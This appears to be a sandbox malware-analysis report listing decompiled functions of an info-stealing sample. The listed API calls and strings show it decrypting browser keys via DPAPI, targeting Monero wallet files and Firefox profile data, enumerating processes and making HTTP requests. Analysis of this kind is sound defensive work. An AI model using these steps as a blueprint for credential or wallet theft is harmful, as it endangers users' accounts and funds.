Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 9d069d63d899369a5c1b1bd3f9f961cdaeaf10180c49daa53523e62750ed7466
Instruction ID: ef4da801769678d3829e47aa63134d0d0e4e169c8006318f349983405ab3ecfa
Opcode Fuzzy Hash: 9d069d63d899369a5c1b1bd3f9f961cdaeaf10180c49daa53523e62750ed7466
Instruction Fuzzy Hash: 10E1BA728302189BDF05EBA4DC92EEE7338BF54304F508169F51776091EE346A69CFA6

Function 0028D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0029A740: lstrcpy.KERNEL32(002A0E17,00000000), ref: 0029A788

Part of subcall function 0029A9B0: lstrlen.KERNEL32(?,00E48990,?,\Monero\wallet.keys,002A0E17), ref: 0029A9C5
Part of subcall function 0029A9B0: lstrcpy.KERNEL32(00000000), ref: 0029AA04
Part of subcall function 0029A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0029AA12

Part of subcall function 0029A8A0: lstrcpy.KERNEL32(?,002A0E17), ref: 0029A905

Part of subcall function 00298B60: GetSystemTime.KERNEL32(002A0E1A,00E49FA8,002A05AE,?,?,002813F9,?,0000001A,002A0E1A,00000000,?,00E48990,?,\Monero\wallet.keys,002A0E17), ref: 00298B86

Part of subcall function 0029A920: lstrcpy.KERNEL32(00000000,?), ref: 0029A972
Part of subcall function 0029A920: lstrcat.KERNEL32(00000000), ref: 0029A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0028D801
lstrlen.KERNEL32(00000000), ref: 0028D99F
lstrlen.KERNEL32(00000000), ref: 0028D9B3
DeleteFileA.KERNEL32(00000000), ref: 0028DA32

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: a72f14b25ede3262df47d6bb73269607465f017ad84b84d4215405fce63c262e
Instruction ID: a75a9af1343867a7e4c77d5cc7a8bf4e6818458b8e56a4abd72ff3aca4e7d480
Opcode Fuzzy Hash: a72f14b25ede3262df47d6bb73269607465f017ad84b84d4215405fce63c262e
Instruction Fuzzy Hash: 3081C8729302189BDF04FBA4DD96EEE7338BF14304F504529F506A6091EE346A29CFA6

Function 0028F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0029A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0029A7E6

Part of subcall function 002899C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 002899EC
Part of subcall function 002899C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00289A11
Part of subcall function 002899C0: LocalAlloc.KERNEL32(00000040,?), ref: 00289A31
Part of subcall function 002899C0: ReadFile.KERNEL32(000000FF,?,00000000,0028148F,00000000), ref: 00289A5A
Part of subcall function 002899C0: LocalFree.KERNEL32(0028148F), ref: 00289A90
Part of subcall function 002899C0: CloseHandle.KERNEL32(000000FF), ref: 00289A9A

Part of subcall function 00298E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00298E52

Part of subcall function 0029A740: lstrcpy.KERNEL32(002A0E17,00000000), ref: 0029A788

Part of subcall function 0029A9B0: lstrlen.KERNEL32(?,00E48990,?,\Monero\wallet.keys,002A0E17), ref: 0029A9C5
Part of subcall function 0029A9B0: lstrcpy.KERNEL32(00000000), ref: 0029AA04
Part of subcall function 0029A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0029AA12

Part of subcall function 0029A8A0: lstrcpy.KERNEL32(?,002A0E17), ref: 0029A905

Part of subcall function 0029A920: lstrcpy.KERNEL32(00000000,?), ref: 0029A972
Part of subcall function 0029A920: lstrcat.KERNEL32(00000000), ref: 0029A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,002A1580,002A0D92), ref: 0028F54C
lstrlen.KERNEL32(00000000), ref: 0028F56B

Strings

^userContextId=4294967295, xrefs: 0028F59C
moz-extension+++, xrefs: 0028F5AD

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: c6d3b7277be4bb95b2403af98380c101243042df3aa1a421430dd1449ec40255
Instruction ID: b0036f006e82169a37810b24c77824ae224eda77cdbf133dc7e666588d7b1900
Opcode Fuzzy Hash: c6d3b7277be4bb95b2403af98380c101243042df3aa1a421430dd1449ec40255
Instruction Fuzzy Hash: 5851CF75D302089BDF04FBA4DC96DED7379AF54300F408528F816A6191EE346A29CFE2

Function 00289CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 0029A740: lstrcpy.KERNEL32(002A0E17,00000000), ref: 0029A788

Part of subcall function 002899C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 002899EC
Part of subcall function 002899C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00289A11
Part of subcall function 002899C0: LocalAlloc.KERNEL32(00000040,?), ref: 00289A31
Part of subcall function 002899C0: ReadFile.KERNEL32(000000FF,?,00000000,0028148F,00000000), ref: 00289A5A
Part of subcall function 002899C0: LocalFree.KERNEL32(0028148F), ref: 00289A90
Part of subcall function 002899C0: CloseHandle.KERNEL32(000000FF), ref: 00289A9A

Part of subcall function 00298E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00298E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00289D39

Part of subcall function 00289AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N(,00000000,00000000), ref: 00289AEF
Part of subcall function 00289AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00284EEE,00000000,?), ref: 00289B01
Part of subcall function 00289AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N(,00000000,00000000), ref: 00289B2A
Part of subcall function 00289AC0: LocalFree.KERNEL32(?,?,?,?,00284EEE,00000000,?), ref: 00289B3F

Part of subcall function 00289B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00289B84
Part of subcall function 00289B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00289BA3
Part of subcall function 00289B60: LocalFree.KERNEL32(?), ref: 00289BD3

Strings

DPAPI, xrefs: 00289D89
"encrypted_key":", xrefs: 00289D30
, xrefs: 00289DC1

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: d7eebc6069240072b8a64b615a4652e2f8f2a6fd4e057c25cf69175a4ccdc69a
Instruction ID: f4634c7f61b37f86c30510aa4b366950cc3f36d5c07cc6b053a56b51ff2254a0
Opcode Fuzzy Hash: d7eebc6069240072b8a64b615a4652e2f8f2a6fd4e057c25cf69175a4ccdc69a
Instruction Fuzzy Hash: 61315379D21109DBCF04EFE4DC85AFE77B8BB48304F184559E905A3281EB309A64CBA5

Function 00298680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0029A740: lstrcpy.KERNEL32(002A0E17,00000000), ref: 0029A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,002A05B7), ref: 002986CA
Process32First.KERNEL32(?,00000128), ref: 002986DE
Process32Next.KERNEL32(?,00000128), ref: 002986F3

Part of subcall function 0029A9B0: lstrlen.KERNEL32(?,00E48990,?,\Monero\wallet.keys,002A0E17), ref: 0029A9C5
Part of subcall function 0029A9B0: lstrcpy.KERNEL32(00000000), ref: 0029AA04
Part of subcall function 0029A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0029AA12

Part of subcall function 0029A8A0: lstrcpy.KERNEL32(?,002A0E17), ref: 0029A905

CloseHandle.KERNEL32(?), ref: 00298761

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 2cf2f125f8144aea7555f6a5dda712a597296544850ce868c69ba68b736d98fa
Instruction ID: 9575b5607503be3eca8002807f63bc4f010c99bbe5136413477f17aebfea2369
Opcode Fuzzy Hash: 2cf2f125f8144aea7555f6a5dda712a597296544850ce868c69ba68b736d98fa
Instruction Fuzzy Hash: 55314D71921218ABCF24EF95DC46FEEB778FF45700F1041A9E10AA61A0DF306A55CFA1

Function 00296AF3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00E48BB0,?,002A110C,?,00000000,?,002A1110,?,00000000,002A0AEF), ref: 00296ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00296AE8
CloseHandle.KERNEL32(00000000), ref: 00296AF9
Sleep.KERNEL32(00001770), ref: 00296B04
CloseHandle.KERNEL32(?,00000000,?,00E48BB0,?,002A110C,?,00000000,?,002A1110,?,00000000,002A0AEF), ref: 00296B1A
ExitProcess.KERNEL32 ref: 00296B22

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 245b36ff8f415c1f8d366959b1c5322be32ecf8e3f855839ca19517600619569
Instruction ID: 92de9f4aab5e1a88de875eed4bed22ccf230cf631623ebccb9ecdd0eb7531ed6
Opcode Fuzzy Hash: 245b36ff8f415c1f8d366959b1c5322be32ecf8e3f855839ca19517600619569
Instruction Fuzzy Hash: 4BF05E70A6021AAFEF40ABA0DC1EBBD7BB4FF04749F104524B502A11C1DBF05560DAAA

Function 002847B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63stringnetworkCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00284839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00284849

Strings

<, xrefs: 002847C9

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: a2138ed6504259be3b15d69db65e47a3e8d936e38c0908cb4a0ec1ea7176baca
Instruction ID: 5e0c171d340d17d181ea92f5b60288e66736d09918e31a77567e1e7665569557
Opcode Fuzzy Hash: a2138ed6504259be3b15d69db65e47a3e8d936e38c0908cb4a0ec1ea7176baca
Instruction Fuzzy Hash: 74214CB1D01209ABDF10DFA4EC45ADE7B74FB04320F108625E915A72D1EB706A19CF81

Function 002951F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 0029A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0029A7E6

Part of subcall function 00286280: InternetOpenA.WININET(002A0DFE,00000001,00000000,00000000,00000000), ref: 002862E1
Part of subcall function 00286280: StrCmpCA.SHLWAPI(?,00E4E550), ref: 00286303
Part of subcall function 00286280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00286335
Part of subcall function 00286280: HttpOpenRequestA.WININET(00000000,GET,?,00E4DC68,00000000,00000000,00400100,00000000), ref: 00286385
Part of subcall function 00286280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 002863BF
Part of subcall function 00286280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 002863D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00295228

Strings

ERROR, xrefs: 0029521A
ERROR, xrefs: 00295273

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
